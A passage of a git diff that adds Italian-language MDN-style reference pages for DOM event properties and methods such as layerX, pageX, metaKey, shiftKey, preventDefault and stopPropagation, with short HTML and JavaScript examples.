+<p>In un evento <a href="it/DOM/event/keypress">keypress</a>, il valore Unicode del tasto premuto viene registrato nella proprietà <code>keyCode</code> oppure nella proprietà <code><a href="it/DOM/event.charCode">charCode</a></code>, mai in entrambe. Se il tasto premuto corrisponde a un carattere (per esempio 'a'), <code>charCode</code> assume il valore Unicode di quel carattere (che è diverso per le maiuscole e per le minuscole). In caso contrario, il codice del tasto premuto viene registrato nella proprietà <code>keyCode</code>.</p>
+<p><code>charCode</code> non viene mai impostato durante gli eventi <a href="it/DOM/event/keydown">keydown</a> e <a href="it/DOM/event/keyup">keyup</a>. In questi casi, viene impostato <code>keyCode</code>.</p>
+<p>Per leggere il codice del tasto indipendentemente dal fatto che esso si trovi in <code>keyCode</code> o in <code>charCode</code>, si può utilizzare la proprietà <code><a href="it/DOM/event.which">which</a></code>.</p>
+<p>I caratteri inseriti attraverso un IME non vengono registrati nè in <code>keyCode</code> nè in <code>charCode</code>.</p>
+<p>Per una lista dei possibili valori di <code>charCode</code> e per conoscere i tasti ai quali sono associati, vedere l'esempio <a href="it/Reference_del_DOM_di_Gecko/Esempi#Example_7:_Mostrare_le_costanti_dell.27oggetto_Event">Reference del DOM di Gecko:Esempi #Example 7: Mostrare le costanti dell'oggetto Event</a>.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>Non è parte di alcuna specifica. Si veda <a href="it/NsIDOMKeyEvent">nsIDOMKeyEvent</a></p>
+<p>{{ languages( { "en": "en/DOM/event.keyCode", "pl": "pl/DOM/event.keyCode" } ) }}</p>
diff --git a/files/it/web/api/event/layerx/index.html b/files/it/web/api/event/layerx/index.html
new file mode 100644
index 0000000000..80dc20b35b
--- /dev/null
+++ b/files/it/web/api/event/layerx/index.html
@@ -0,0 +1,102 @@
+---
+title: event.layerX
+slug: Web/API/Event/layerX
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/UIEvent/layerX
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce la coordinata orizzontale del punto in cui si è scatenato l'evento, relativamente al layer corrente.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>X</i> = event.layerX
+</pre>
+<ul>
+ <li><code>X</code> è un valore intero che rappresenta la coordinata X del puntatore del mouse nel momento in cui si è verificato l'evento.</li>
+</ul>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio di pageX/pageY e layerX/layerY&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function mostraCoordinate(evt){
+  var form = document.forms.form_coords;
+  var idPadre = evt.target.parentNode.id;
+  form.idPadre.value = idPadre;
+  form.coordinataXpagina.value = evt.pageX;
+  form.coordinataYpagina.value = evt.pageY;
+  form.coordinataXlayer.value = evt.layerX;
+  form.coordinataYlayer.value = evt.layerY;
+}
+
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+
+ #d1 {
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d2 {
+  position: absolute;
+  top: 180px;
+  left: 80%;
+  right:auto;
+  width: 40%;
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d3 {
+  position: absolute;
+  top: 240px;
+  left: 20%;
+  width: 50%;
+  border: solid blue 1px;
+  padding: 10px;
+ }
+
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="mostraCoordinate(event)"&gt;
+
+&lt;p&gt;Per visualizzare le coordinate del mouse clicca in un qualunque punto della pagina.&lt;/p&gt;
+
+&lt;div id="d1"&gt;
+&lt;span&gt;Questo è un DIV non posizionato, quindi cliccando qui i valori di layerX e layerY
+saranno simili a quelli di pageX e pageY.
+&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="d2"&gt;
+&lt;span&gt;Questo è un DIV posizionato, quindi cliccando qui i valori di layerX e layerY saranno relativi all'angolo in alto a sinistra di questo elemento. Si noti che le proprietà pageX e pageY restituiscono la posizione assoluta all'interno del documento, tenendo conto dello scorrimento della pagina.
+&lt;/span&gt;
+
+&lt;span&gt;Fai scorrere ancora la pagina! Questo è un DIV posizionato, quindi cliccando qui i valori di layerX e layerY saranno relativi all'angolo in alto a sinistra di questo elemento. Si noti che le proprietà pageX e pageY restituiscono la posizione assoluta all'interno del documento, tenendo conto dello scorrimento della pagina.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="d3"&gt;
+&lt;form name="form_coordinate"&gt;
+ Id elemento padre: &lt;input type="text" name="idPadre" size="7" /&gt;&lt;br /&gt;
+ pageX:&lt;input type="text" name="coordinataXpagina" size="7" /&gt;
+ pageY:&lt;input type="text" name="coordinataYpagina" size="7" /&gt;&lt;br /&gt;
+ layerX:&lt;input type="text" name="coordinataXlayer" size="7" /&gt;
+ layerY:&lt;input type="text" name="coordinataYlayer" size="7" /&gt;
+&lt;/form&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p><code>layerX</code> tiene conto di eventuali scorrimenti orizzontali avvenuti nella pagina e restituisce un valore relativo all'intero documento, a meno che l'evento non avvenga all'interno di un elemento con posizione fissa; nel qual caso il valore restituito sarà relativo all'angolo in alto a sinistra dell'elemento.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>DOM level 0. Non è parte di alcuna specifica.</p>
+<p>{{ languages( { "en": "en/DOM/event.layerX", "pl": "pl/DOM/event.layerX" } ) }}</p>
diff --git a/files/it/web/api/event/layery/index.html b/files/it/web/api/event/layery/index.html
new file mode 100644
index 0000000000..9bb4f99947
--- /dev/null
+++ b/files/it/web/api/event/layery/index.html
@@ -0,0 +1,102 @@
+---
+title: event.layerY
+slug: Web/API/Event/layerY
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/UIEvent/layerY
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce la coordinata verticale del punto in cui si è scatenato l'evento, relativamente al layer corrente.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>Y</i> = event.layerY
+</pre>
+<ul>
+ <li><code>Y</code> è un valore intero che rappresenta la coordinata Y del puntatore del mouse nel momento in cui si è verificato l'evento.</li>
+</ul>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio di pageX/pageY e layerX/layerY&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function mostraCoordinate(evt){
+  var form = document.forms.form_coords;
+  var idPadre = evt.target.parentNode.id;
+  form.idPadre.value = idPadre;
+  form.coordinataXpagina.value = evt.pageX;
+  form.coordinataYpagina.value = evt.pageY;
+  form.coordinataXlayer.value = evt.layerX;
+  form.coordinataYlayer.value = evt.layerY;
+}
+
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+
+ #d1 {
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d2 {
+  position: absolute;
+  top: 180px;
+  left: 80%;
+  right:auto;
+  width: 40%;
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d3 {
+  position: absolute;
+  top: 240px;
+  left: 20%;
+  width: 50%;
+  border: solid blue 1px;
+  padding: 10px;
+ }
+
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="mostraCoordinate(event)"&gt;
+
+&lt;p&gt;Per visualizzare le coordinate del mouse clicca in un qualunque punto della pagina.&lt;/p&gt;
+
+&lt;div id="d1"&gt;
+&lt;span&gt;Questo è un DIV non posizionato, quindi cliccando qui i valori di layerX e layerY
+saranno simili a quelli di pageX e pageY.
+&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="d2"&gt;
+&lt;span&gt;Questo è un DIV posizionato, quindi cliccando qui i valori di layerX e layerY saranno relativi all'angolo in alto a sinistra di questo elemento. Si noti che le proprietà pageX e pageY restituiscono la posizione assoluta all'interno del documento, tenendo conto dello scorrimento della pagina.
+&lt;/span&gt;
+
+&lt;span&gt;Fai scorrere ancora la pagina! Questo è un DIV posizionato, quindi cliccando qui i valori di layerX e layerY saranno relativi all'angolo in alto a sinistra di questo elemento. Si noti che le proprietà pageX e pageY restituiscono la posizione assoluta all'interno del documento, tenendo conto dello scorrimento della pagina.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="d3"&gt;
+&lt;form name="form_coordinate"&gt;
+ Id elemento padre: &lt;input type="text" name="idPadre" size="7" /&gt;&lt;br /&gt;
+ pageX:&lt;input type="text" name="coordinataXpagina" size="7" /&gt;
+ pageY:&lt;input type="text" name="coordinataYpagina" size="7" /&gt;&lt;br /&gt;
+ layerX:&lt;input type="text" name="coordinataXlayer" size="7" /&gt;
+ layerY:&lt;input type="text" name="coordinataYlayer" size="7" /&gt;
+&lt;/form&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p><code>layerY</code> tiene conto di eventuali scorrimenti verticali avvenuti nella pagina e restituisce un valore relativo all'intero documento, a meno che l'evento non avvenga all'interno di un elemento con posizione fissa; nel qual caso il valore restituito sarà relativo all'angolo in alto a sinistra dell'elemento.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>DOM level 0. Non è parte di alcuna specifica.</p>
+<p>{{ languages( { "en": "en/DOM/event.layerX", "pl": "pl/DOM/event.layerX" } ) }}</p>
diff --git a/files/it/web/api/event/metakey/index.html b/files/it/web/api/event/metakey/index.html
new file mode 100644
index 0000000000..b3a22bfa38
--- /dev/null
+++ b/files/it/web/api/event/metakey/index.html
@@ -0,0 +1,30 @@
+---
+title: event.metaKey
+slug: Web/API/Event/metaKey
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/MouseEvent/metaKey
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Indica se il tasto META era premuto mentre l'evento si verificava. Questo tasto è il tasto Apple sui computer Mac, il tasto Windows sui pc con tastiere per Windows sui quali gira questo sistema operativo e potrebbe corrispondere ad altri tasti su altre piattaforme. Non esiste però un unico tasto standard sulla cui presenza si possa fare affidamento per qualsiasi tipo di piattaforma.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>bool</i> = event.metaKey
+</pre>
+<p><code>bool</code> vale <code>true</code> se il tasto META era premuto, altrimenti <code>false</code>.</p>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre> function leggiInput(e) {
+ // controlla il tasto meta
+   if e.metaKey
+        // se era premuto si comporta di conseguenza
+     outputBellissimo(e);
+   else
+     outputMediocre(e)
+ }
+</pre>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-metaKey">metaKey </a></p>
+<p>{{ languages( { "en": "en/DOM/event.metaKey", "pl": "pl/DOM/event.metaKey" } ) }}</p>
diff --git a/files/it/web/api/event/pagex/index.html b/files/it/web/api/event/pagex/index.html
new file mode 100644
index 0000000000..90cf1beaac
--- /dev/null
+++ b/files/it/web/api/event/pagex/index.html
@@ -0,0 +1,98 @@
+---
+title: event.pageX
+slug: Web/API/Event/pageX
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/UIEvent/pageX
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce la coordinata orizzontale dell'evento, all'interno dell'intero documento.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>X</i> =<i>event</i>.pageX;
+</pre>
+<p><code>X</code> è un intero che rappresenta il valore in pixel della coordinata X del puntatore del mouse, relativamente all'intero documento. La coordinata fa riferimento al momento in cui l'evento si è verificato. Questa proprietà tiene conto di ogni scorrimento orizzontale che è stato effettuato all'interno del browser.</p>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio di pageX/pageY e layerX/layerY&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function mostraCoordinate(evt){
+  var form = document.forms.form_coords;
+  var idPadre = evt.target.parentNode.id;
+  form.idPadre.value = idPadre;
+  form.coordinataXpagina.value = evt.pageX;
+  form.coordinataYpagina.value = evt.pageY;
+  form.coordinataXlayer.value = evt.layerX;
+  form.coordinataYlayer.value = evt.layerY;
+}
+
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+
+ #d1 {
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d2 {
+  position: absolute;
+  top: 180px;
+  left: 80%;
+  right:auto;
+  width: 40%;
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d3 {
+  position: absolute;
+  top: 240px;
+  left: 20%;
+  width: 50%;
+  border: solid blue 1px;
+  padding: 10px;
+ }
+
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="mostraCoordinate(event)"&gt;
+
+&lt;p&gt;Per visualizzare le coordinate del mouse clicca in un qualunque punto della pagina.&lt;/p&gt;
+
+&lt;div id="d1"&gt;
+&lt;span&gt;Questo è un DIV non posizionato, quindi cliccando qui i valori di layerX e layerY
+saranno simili a quelli di pageX e pageY.
+&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="d2"&gt;
+&lt;span&gt;Questo è un DIV posizionato, quindi cliccando qui i valori di layerX e layerY saranno relativi all'angolo in alto a sinistra di questo elemento. Si noti che le proprietà pageX e pageY restituiscono la posizione assoluta all'interno del documento, tenendo conto dello scorrimento della pagina.
+&lt;/span&gt;
+
+&lt;span&gt;Fai scorrere ancora la pagina! Questo è un DIV posizionato, quindi cliccando qui i valori di layerX e layerY saranno relativi all'angolo in alto a sinistra di questo elemento. Si noti che le proprietà pageX e pageY restituiscono la posizione assoluta all'interno del documento, tenendo conto dello scorrimento della pagina.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="d3"&gt;
+&lt;form name="form_coordinate"&gt;
+ Id elemento padre: &lt;input type="text" name="idPadre" size="7" /&gt;&lt;br /&gt;
+ pageX:&lt;input type="text" name="coordinataXpagina" size="7" /&gt;
+ pageY:&lt;input type="text" name="coordinataYpagina" size="7" /&gt;&lt;br /&gt;
+ layerX:&lt;input type="text" name="coordinataXlayer" size="7" /&gt;
+ layerY:&lt;input type="text" name="coordinataYlayer" size="7" /&gt;
+&lt;/form&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>Non è parte di alcuno standard.</p>
+<p>{{ languages( { "en": "en/DOM/event.pageX", "es": "es/DOM/event.pageX", "pl": "pl/DOM/event.pageX" } ) }}</p>
diff --git a/files/it/web/api/event/pagey/index.html b/files/it/web/api/event/pagey/index.html
new file mode 100644
index 0000000000..d0d87573cc
--- /dev/null
+++ b/files/it/web/api/event/pagey/index.html
@@ -0,0 +1,98 @@
+---
+title: event.pageY
+slug: Web/API/Event/pageY
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/UIEvent/pageY
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce la coordinata verticale dell'evento, all'interno dell'intero documento.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>Y</i> =<i>event</i>.pageY;
+</pre>
+<p><code>Y</code> è un intero che rappresenta il valore in pixel della coordinata Y del puntatore del mouse, relativamente all'intero documento. La coordinata fa riferimento al momento in cui l'evento si è verificato. Questa proprietà tiene conto di ogni scorrimento verticale che è stato effettuato all'interno del browser.</p>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio di pageX/pageY e layerX/layerY&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function mostraCoordinate(evt){
+  var form = document.forms.form_coords;
+  var idPadre = evt.target.parentNode.id;
+  form.idPadre.value = idPadre;
+  form.coordinataXpagina.value = evt.pageX;
+  form.coordinataYpagina.value = evt.pageY;
+  form.coordinataXlayer.value = evt.layerX;
+  form.coordinataYlayer.value = evt.layerY;
+}
+
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+
+ #d1 {
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d2 {
+  position: absolute;
+  top: 180px;
+  left: 80%;
+  right:auto;
+  width: 40%;
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d3 {
+  position: absolute;
+  top: 240px;
+  left: 20%;
+  width: 50%;
+  border: solid blue 1px;
+  padding: 10px;
+ }
+
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="mostraCoordinate(event)"&gt;
+
+&lt;p&gt;Per visualizzare le coordinate del mouse clicca in un qualunque punto della pagina.&lt;/p&gt;
+
+&lt;div id="d1"&gt;
+&lt;span&gt;Questo è un DIV non posizionato, quindi cliccando qui i valori di layerX e layerY
+saranno simili a quelli di pageX e pageY.
+&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="d2"&gt;
+&lt;span&gt;Questo è un DIV posizionato, quindi cliccando qui i valori di layerX e layerY saranno relativi all'angolo in alto a sinistra di questo elemento. Si noti che le proprietà pageX e pageY restituiscono la posizione assoluta all'interno del documento, tenendo conto dello scorrimento della pagina.
+&lt;/span&gt;
+
+&lt;span&gt;Fai scorrere ancora la pagina! Questo è un DIV posizionato, quindi cliccando qui i valori di layerX e layerY saranno relativi all'angolo in alto a sinistra di questo elemento. Si noti che le proprietà pageX e pageY restituiscono la posizione assoluta all'interno del documento, tenendo conto dello scorrimento della pagina.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="d3"&gt;
+&lt;form name="form_coordinate"&gt;
+ Id elemento padre: &lt;input type="text" name="idPadre" size="7" /&gt;&lt;br /&gt;
+ pageX:&lt;input type="text" name="coordinataXpagina" size="7" /&gt;
+ pageY:&lt;input type="text" name="coordinataYpagina" size="7" /&gt;&lt;br /&gt;
+ layerX:&lt;input type="text" name="coordinataXlayer" size="7" /&gt;
+ layerY:&lt;input type="text" name="coordinataYlayer" size="7" /&gt;
+&lt;/form&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>Non è parte di alcuno standard.</p>
+<p>{{ languages( { "es": "es/DOM/event.pageY", "pl": "pl/DOM/event.pageY" } ) }}</p>
diff --git a/files/it/web/api/event/preventdefault/index.html b/files/it/web/api/event/preventdefault/index.html
new file mode 100644
index 0000000000..040257b4a3
--- /dev/null
+++ b/files/it/web/api/event/preventdefault/index.html
@@ -0,0 +1,176 @@
+---
+title: Event.preventDefault()
+slug: Web/API/Event/preventDefault
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Event/preventDefault
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Il metodo <code><strong>preventDefault()</strong></code> dell'interfaccia {{domxref("Event")}} dice all'{{Glossary("user agent")}} che se l'evento non viene esplicitamente gestito, la sua azione predefinita non dovrebbe essere presa come normalmente. L'evento continua a propagarsi come al solito, a meno che uno dei suoi listener di eventi non chiami {{domxref("Event.stopPropagation", "stopPropagation()")}} o {{domxref("Event.stopImmediatePropagation", "stopImmediatePropagation()")}}, uno dei due interrompa la propagazione contemporaneamente.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>Event</em>.preventDefault();</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<p>Nessuno.</p>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p><code>undefined</code>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Blocco_della_gestione_dei_click_predefinita">Blocco della gestione dei click predefinita</h3>
+
+<p>La commutazione di una casella di controllo è l'azione predefinita di fare click su una casella di controllo. Questo esempio mostra come impedire che ciò accada:</p>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">document.querySelector("#id-checkbox").addEventListener("click", function(event) {
+         document.getElementById("output-box").innerHTML += "Mi dispiace! &lt;code&gt;preventDefault()&lt;/code&gt; non ti lascerà controllare questo!&lt;br&gt;";
+         event.preventDefault();
+}, false);</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Si prega di fare click sul controllo casella di controllo.&lt;/p&gt;
+
+&lt;form&gt;
+  &lt;label for="id-checkbox"&gt;Checkbox:&lt;/label&gt;
+  &lt;input type="checkbox" id="id-checkbox"/&gt;
+&lt;/form&gt;
+
+&lt;div id="output-box"&gt;&lt;/div&gt;</pre>
+
+<h4 id="Risultato">Risultato</h4>
+
+<p>Puoi vedere questo in azione qui:</p>
+
+<p>{{EmbedLiveSample("Blocking_default_click_handling")}}</p>
+
+<h3 id="Interruzione_delle_sequenze_di_tasti_per_raggiungere_un_campo_di_modifica">Interruzione delle sequenze di tasti per raggiungere un campo di modifica</h3>
+
+<p>L'esempio seguente dimostra come interrompere l'input di testo non valido per raggiungere il campo di input con <code>preventDefault()</code>. Al giorno d'oggi, di solito dovresti usare <a href="/it-US/docs/Learn/HTML/Forms/Form_validation">convalida del modulo HTML nativo</a>.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>Ecco il modulo:</p>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;p&gt;Inserisci il tuo nome utilizzando solo lettere minuscole.&lt;/p&gt;
+
+  &lt;form&gt;
+    &lt;input type="text" id="my-textbox"&gt;
+  &lt;/form&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p>Usiamo un po' di CSS per la finestra di avviso che disegneremo quando l'utente preme una chiave non valida:</p>
+
+<pre class="brush: css">.warning {
+  border: 2px solid #f39389;
+  border-radius: 2px;
+  padding: 10px;
+  position: absolute;
+  background-color: #fbd8d4;
+  color: #3b3c40;
+}</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p>Ed ecco il codice JavaScript che fa il lavoro. Per prima cosa, ascolta gli eventi {{event("keypress")}}:</p>
+
+<pre class="brush: js">var myTextbox = document.getElementById('my-textbox');
+myTextbox.addEventListener('keypress', checkName, false);
+</pre>
+
+<p>La funzione <code>checkName()</code>, che controlla il tasto premuto e decide se permetterlo:</p>
+
+<pre class="brush: js">function checkName(evt) {
+  var charCode = evt.charCode;
+  if (charCode != 0) {
+    if (charCode &lt; 97 || charCode &gt; 122) {
+      evt.preventDefault();
+      displayWarning(
+        "Per favore usa solo lettere minuscole."
+        + "\n" + "charCode: " + charCode + "\n"
+      );
+    }
+  }
+}
+</pre>
+
+<p>la funzione <code>displayWarning()</code> presenta la notifica di un problema. Non è una funzione elegante ma fa il lavoro ai fini di questo esempio:</p>
+
+<pre class="brush: js">var warningTimeout;
+var warningBox = document.createElement("div");
+warningBox.className = "warning";
+
+function displayWarning(msg) {
+  warningBox.innerHTML = msg;
+
+  if (document.body.contains(warningBox)) {
+    window.clearTimeout(warningTimeout);
+  } else {
+    // inserisci warningBox dopo myTextbox
+    myTextbox.parentNode.insertBefore(warningBox, myTextbox.nextSibling);
+  }
+
+  warningTimeout = window.setTimeout(function() {
+      warningBox.parentNode.removeChild(warningBox);
+      warningTimeout = -1;
+    }, 2000);
+}</pre>
+
+<h4 id="Risultato_2">Risultato</h4>
+
+<p>Ecco il risultato del codice precedente:</p>
+
+<p>{{ EmbedLiveSample('Stopping_keystrokes_from_reaching_an_edit_field', 600, 200) }}</p>
+
+<h2 id="Note">Note</h2>
+
+<p>Chiamando <code>preventDefault()</code> durante qualsiasi fase del flusso di eventi annulla l'evento, il che significa che non verrà eseguita alcuna azione predefinita normalmente eseguita dall'implementazione come risultato dell'evento.</p>
+
+<div class="note">
+<p>A partire da {{Gecko("6.0")}}, chiamare <code>preventDefault()</code>  fa sì che il valore della proprietà {{ domxref("Event.defaultPrevented()") }} diventi <code>true</code>.</p>
+</div>
+
+<p>Puoi utilizzare {{domxref("Event.cancelable")}} per verificare se l'evento è cancellabile. Chiamare <code>preventDefault()</code> per un evento non cancellabile non ha alcun effetto.</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-preventdefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-preventDefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Event.preventDefault")}}</p>
diff --git a/files/it/web/api/event/shiftkey/index.html b/files/it/web/api/event/shiftkey/index.html
new file mode 100644
index 0000000000..fcc11142ef
--- /dev/null
+++ b/files/it/web/api/event/shiftkey/index.html
@@ -0,0 +1,45 @@
+---
+title: event.shiftKey
+slug: Web/API/Event/shiftKey
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/MouseEvent/shiftKey
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Indica se il tasto SHIFT è stato premuto durante l'evento.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>bool</i> = event.shiftKey
+</pre>
+<p><code>bool</code> restituisce <code>true</code> se il tasto SHIFT era premuto mentre l'evento si verificava, altrimenti <code>false</code>.</p>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio tasto shift&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function mostraCarattere(e){
+  alert(
+    "Tasto premuto: " + String.fromCharCode(e.charCode) + "\n"
+    + "Codice carattere: " + e.charCode + "\n"
+    + "Tasto SHIFT premuto: " + e.shiftKey + "\n"
+    + "Tasto ALT premuto: " + e.altKey + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="mostraCarattere(event);"&gt;
+&lt;p&gt;Prova a premere un tasto tenendo premuto SHIFT e prova a premere un tasto senza premere SHIFT.&lt;br /&gt;
+Puoi anche provare a premere SHIFT+ALT.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-shiftKey">shiftKey </a></p>
+<p>{{ languages( { "en": "en/DOM/event.shiftKey", "pl": "pl/DOM/event.shiftKey" } ) }}</p>
diff --git a/files/it/web/api/event/stoppropagation/index.html b/files/it/web/api/event/stoppropagation/index.html
new file mode 100644
index 0000000000..1eef27bf30
--- /dev/null
+++ b/files/it/web/api/event/stoppropagation/index.html
@@ -0,0 +1,60 @@
+---
+title: Event.stopPropagation()
+slug: Web/API/Event/stopPropagation
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Event/stopPropagation
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><span class="seoSummary">Il metodo <code><strong>stopPropagation()</strong></code> dell'interfaccia {{domxref("Event")}} impedisce un'ulteriore propagazione dell'evento corrente nelle fasi di cattura e bubbling.</span></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>event</em>.stopPropagation();</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Vedi Esempio 5: <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Examples#Example_5:_Event_Propagation">Propagazione degli eventi</a> nel capitolo degli Esempi per un esempio più dettagliato di questo metodo e la propagazione degli eventi nel DOM.</p>
+
+<h2 id="Note">Note</h2>
+
+<p>Vedi la <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture">specificazione DOM</a> per la spiegazione del flusso di eventi. (La <a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">bozza degli eventi di DOM Level 3"</a> ha un'illustrazione.)</p>
+
+<p><a href="https://developer.mozilla.org/it/docs/Web/API/Event/preventDefault">preventDefault</a> è un metodo complementare che può essere utilizzato per impedire l'azione predefinita dall'evento.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specifica</th>
+   <th>Stato</th>
+   <th>Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
